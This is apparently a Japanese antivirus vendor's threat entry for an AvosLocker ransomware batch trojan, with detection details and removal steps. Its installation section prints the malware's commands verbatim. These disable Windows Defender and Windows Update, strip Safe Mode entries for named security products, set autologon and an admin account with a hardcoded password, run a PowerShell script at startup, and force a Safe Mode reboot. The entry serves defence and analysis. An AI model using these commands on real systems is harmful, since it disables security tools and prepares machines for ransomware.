Trojan.BAT.AVOSLOCKER.YPCBB
2022年2月9日
別名:
Generic.Ransom.AVOSLocker.!s!.D.96A58DC3 (BITDEFENDER)
プラットフォーム:
Windows
危険度:
ダメージ度:
感染力:
感染確認数:
情報漏えい:
マルウェアタイプ:
トロイの木馬型
破壊活動の有無:
なし
暗号化:
なし
感染報告の有無 :
はい
概要
感染経路 インターネットからのダウンロード, 他のマルウェアからの作成
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
詳細
ファイルサイズ 4,244 bytes
タイプ BAT
メモリ常駐 なし
発見日 2022年2月2日
ペイロード コンピュータの再起動
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
マルウェアは、以下のプロセスを追加します。
- reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /f
- reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /t REG_SZ /d Service /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /t REG_SZ /d Service /f
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d Password123! /f
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
- bcdedit /set {default} safeboot network
- net use \192.168.111.73 /user:workgroup\test P@ssw0rd123
- shutdown /r /f /t 0
- Terminates and disables services
- net stop wuauserv
- sc config wuauserv start= disabled
- Delete AV related registry
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_agent /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_monitor /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Amps /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_notifer /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRkrn /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRSVC /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIRedline /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdvith /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdicap /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CmdAgent /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cyserver /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBEndpointAgent /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CylanceSvc /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SepMasterService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefense /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefenseWSC /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\epredline /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIntegrationService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmCCSF /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmWSCSvc /f
- Add user and localgroup:
- net user Administrator Password123! /add
- net localgroup administrators Administrator /add
- net user Administrator Password123!
- net user Administrator /Active:Y
その他
マルウェアは、以下を実行します。
- It restarts the affected machine
対応方法
対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 17.372.03
初回 VSAPI パターンリリース日 2022年2月9日
VSAPI OPR パターンバージョン 17.373.00
VSAPI OPR パターンリリース日 2022年2月10日
手順 1
Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.BAT.AVOSLOCKER.YPCBB」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
ご利用はいかがでしたか? アンケートにご協力ください